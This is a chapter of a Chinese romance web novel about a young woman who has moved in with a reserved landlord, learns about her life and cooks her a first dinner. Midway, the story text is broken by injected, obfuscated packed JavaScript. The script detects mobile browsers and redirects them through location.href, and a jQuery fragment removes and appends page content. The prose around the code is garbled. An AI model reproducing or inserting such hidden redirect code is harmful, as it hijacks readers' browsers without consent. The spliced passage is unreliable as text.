搬进林荌家的第七天，沈枝薇摸清了她的作息规律。
早晨八点，次卧会准时传来淋浴的水声，持续十五分钟。八点半，林荌会穿着运动服从房间出来，去阳台的跑步机上待四十分钟。九点十分，她冲第二遍澡，然后穿着家居服出现在厨房，做一杯手冲咖啡。
九点半，她会端着咖啡坐到客厅的落地窗前，看半小时书或者平板电脑。十点，出门。有时候是去健身房，有时候是去超市，有时候什么都不带，空手出去，几小时后回来。
晚上六点是晚餐时间。林荌会做两个人的饭，两菜一汤，偶尔有鱼或者虾，但从不问沈枝薇想吃什么，也不问她回不回来吃。
沈枝薇试过一次。那天她“刚好”在六点前回来，坐在客厅的沙发上，抱着膝盖看书。
林荌从厨房端菜出来，看见她，只是抬了抬下巴：“洗手，吃饭。”
没有“你回来了”，没有“今天怎么样”，就像她一直在家，只是恰好这个时间点出现在餐桌旁。
沈枝薇喜欢这种理所当然。这让她觉得，自己好像本来就该在这里。
“你在看什么？”
第七天的早晨，沈枝薇走出房间时，林荌正站在咖啡机前。她没有回头，但知道沈枝薇出来了。
“《小王子》。”沈枝薇晃了晃手里的书，封皮是软精装，边角有点磨损。这是她从家里带出来的为数不多的几本书之一。
林荌嗯了一声，没再说话。咖啡机的蒸汽管发出嗤嗤的声音，空气里弥漫开深烘豆子的焦香。
沈枝薇走到她旁边，靠着料理台，看着她操作。林荌的手很稳，倒水，闷蒸，注水，动作流畅得像某种仪式。她的手型很好看，手指修长，骨节分明，指甲修剪得很干净，没有涂任何颜色。
“要尝尝吗？”林荌忽然问。
沈枝薇愣了一下，然后点头：“好。”
林荌从柜子里拿出另一个杯子，倒了小半杯，推给她：“没加糖，没加奶。”
沈枝薇接过来，小心地抿。咖啡很烫，苦，但后味有很淡的果酸。她不常喝黑咖啡，以前都是加很多奶和糖，但这次她没说话，只是小口小口地喝。
“怎么样？”林荌问，给自己也倒了一杯。
“……苦。”沈枝薇老实说，然后补充，“但很香。”
林荌看了她一眼，眼里有很淡的笑意：“喝得惯就喝，喝不惯冰箱里有牛奶。”
“喝得惯。”沈枝薇立刻说，又喝了一大口，结果被烫得眼眶发红。
林荌摇摇头，转身打开冰箱，拿出一小盒牛奶，放到她面前。
沈枝薇看着那盒牛奶，又看看林荌的背影，抿了抿唇。
“林荌。”她小声叫。
“嗯？”
“你……是做什么工作的？”
林荌转过身，靠在料理台上，和她面对面。晨光从她身后的窗户照进来，给她整个人镀了层毛茸茸的金边。
“怎么想起问这个？”
“就是……好奇。”沈枝薇低下头，手指摩挲着杯壁，“你好像不用上班，但又有收入……”
“收租。”林荌言简意赅，“这栋楼，我有三套。”
沈枝薇眨眨眼。
“其他的房子，在别的小区。”林荌喝了口咖啡，语气平淡得像在说今天天气不错，“所以，严格来说，我的工作是包租婆。”
沈枝薇张了张嘴，想说什么，又咽了回去。
她想起来了。沈家还没倒的时候，她爸有个朋友，就是靠收租过活的。那人手里有二十几套房子，每个月的工作就是收收租，修修水管，日子过得比谁都逍遥。
但她没想到，林荌也是。
而且，她看起来那么……年轻。
“不像？”林荌挑眉。
沈枝薇诚实地摇头：“不像。”
“那像什么？”
“像……”沈枝薇打量她。林荌今天穿了件简单的白T恤，灰色运动裤，头发扎成低马尾，素颜，皮肤好得发光。“像模特，或者……设计师？”
林荌笑了。不是那种礼貌的笑，是真的被逗笑了，眼睛弯起来，眼尾有很淡的纹路。
“谢谢。”她说，“但很可惜，都不是。”
她放下咖啡杯，走到玄关开始换鞋：“我上午要去看个房子，中午不回来。冰箱里有菜，你自己热着吃。”
“你要出去？”沈枝薇跟过去。
“嗯。”林荌穿上运动鞋，直起身，比她高半个头，“有事？”
“没、没事。”沈枝薇摇头，然后又想起什么，“那个……晚上，你想吃什么？我、我可以做。”
林荌系鞋带的动作停了一下。
“你会做饭？”
“会一点。”沈枝薇说，声音越来越小，“可能没你做得好，但……我可以学。”
林荌系好鞋带，站起来，看着她。
沈枝薇今天穿了件浅粉色的针织衫，头发披着，没化妆，看起来比实际年龄小好几岁。她仰着脸看林荌，眼睛睁得圆圆的，像某种小动物。
“随便。”林荌移开视线，拉开大门，“做你想做的就行。我六点回来。”
门关上。
沈枝薇站在玄关，听着电梯下行的声音，缓缓吐出一口气。
然后，她转身走进厨房，打开冰箱。
冷藏室里整齐地码放着蔬菜、鸡蛋、牛奶。冷冻室里有肉、虾、速冻饺子。林荌的生活很有条理，每样东西都有固定的位置。
沈枝薇拿出手机，点开下厨房APP。
她输入“家常菜简单”，跳出来一大堆结果。她翻了半天，最后选定一个“番茄炒蛋”和一个“蒜蓉西兰花”。
都是林荌做过的菜。
她看了一遍视频教程，记下步骤，然后开始准备食材。
番茄要烫一下去皮，鸡蛋要加一点盐打散，西兰花要掰成小朵，用盐水泡……
沈枝薇做得很慢，很仔细。烫番茄的时候差点烫到手，打鸡蛋的时候蛋壳掉进碗里，掰西兰花掰得满手都是碎屑。
但她没停。
两个小时后，厨房的料理台上摆着两盘菜。番茄炒蛋的蛋有点老，番茄出水太多，汤汁稀稀的。蒜蓉西兰花的蒜炒糊了，边缘有点发黑。
沈枝薇看着那两盘菜，咬了咬下唇。
然后，她拿出手机，对着菜拍了张照，发给林荌。
“我第一次做，可能不好吃……[可怜]”
发完，她盯着手机屏幕，等回复。
一分钟，两分钟，五分钟。
没有动静。
沈枝薇把手机扣在桌上，端起菜，放进微波炉里保温。
然后，她回到房间，关上门，倒在床上。
脸埋进枕头里。
她不知道自己为什么要这么做。为什么要主动提出做饭，为什么要做林荌做过的菜，为什么要发那条消息。
也许，只是想证明自己不是个一无是处的花瓶。
可能，只是想看看林荌的反应。
……
手机震了一下。
沈枝薇立刻抓起来。
林荌回了一张照片。是一套老房子的客厅，墙皮脱落，地板翘起，窗户玻璃碎了好几块。配文：“在看这个，六点前回不去。你自己先吃，别等我。”
沈枝薇盯着那条消息，看了很久。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375404|200077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
然后，她打字：“没事，我等你。路上小心。”
发送。
她放下手机，重新躺回床上，看着天花板。
心脏的位置，有一种很陌生的感觉。
酸酸的，胀胀的。
林荌晚上七点半才回来。
她开门的时候，沈枝薇正坐在沙发上，抱着膝盖，在看电视。电视里在放一部很老的港片，声音开得很小，小到几乎听不见。
听见开门声，沈枝薇转过头，眼睛亮了一下。
“你回来了。”她站起来，赤着脚跑过来，“吃饭了吗？菜在微波炉里，我帮你热。”
“不用。”林荌拦住她，目光落在她脸上，“你还没吃？”
沈枝薇摇头：“我不饿。”
“撒谎。”林荌说，声音很淡，但很肯定。
沈枝薇不说话了，低下头。
林荌看了她两秒，然后脱了外套，往厨房走：“热菜吧，一起吃。”
“好！”
沈枝薇跟在她身后，脚步轻快。
微波炉嗡嗡作响。林荌靠在料理台上，看着沈枝薇忙前忙后地拿碗筷，盛饭，摆桌子。她的动作还有点生疏，但很认真，侧脸在厨房的灯光下显得很柔和。
“你今天去看的那个房子，很破吗？”沈枝薇一边摆筷子一边问。
“嗯，老破小，三十年了。”林荌说，“租客刚搬走，要重新装修。”
“你要自己装？”
“找设计师，我监工。”林荌说，“怎么，有兴趣？”
沈枝薇摇头：“我就是……随便问问。”
微波炉叮一声。沈枝薇戴上隔热手套，把菜端出来，摆在桌上。
一荤一素，两碗米饭。
“吃吧。”她坐下，小声说。
林荌拿起筷子，先夹了一筷子番茄炒蛋，送进嘴里。
沈枝薇紧张地看着她。
林荌嚼了几口，咽下去，表情没什么变化。
“怎么样？”沈枝薇忍不住问。
“咸了。”林荌说，又夹了一筷子西兰花，“这个蒜糊了。”
沈枝薇的眼神黯下去。
“但是，”林荌接着说，又夹了一筷子鸡蛋，“能吃。”
沈枝薇抬起头。
林荌低着头吃饭，侧脸平静。她吃饭的样子很认真，不紧不慢，每一口都咀嚼得很充分。番茄炒蛋的汤汁拌在米饭里，她吃得很干净。
沈枝薇的心，像被什么东西轻轻挠了一下。
她也拿起筷子，开始吃饭。
鸡蛋确实咸了，西兰花也的确有糊味。但很奇怪，她吃着吃着，竟然觉得……还不错。
两个人安静地吃完饭。沈枝薇要收拾碗筷，林荌拦住她。
“我来。”她说，“你做饭，我洗碗。”
沈枝薇想说“我可以洗”，但林荌已经端着盘子进了厨房，打开了水龙头。
她站在原地，看着林荌的背影。
林荌今天穿了件黑色的工装衬衫，袖子挽到手肘，露出小臂流畅的线条。水声哗哗，她低着头，很仔细地清洗每一只碗。
沈枝薇忽然想起，以前在沈家，佣人洗碗的时候，她从来没有看过。
她觉得那是理所当然的。花钱，买服务，天经地义。
但现在，她站在这里，看着林荌洗她做出来的、并不好吃的菜用的碗，心里有一种很奇怪的感觉。
像是……愧疚。
又像是，别的什么。
“林荌。”她开口，声音很小。
“嗯？”
“对不起。”沈枝薇说，
“菜做得不好吃。”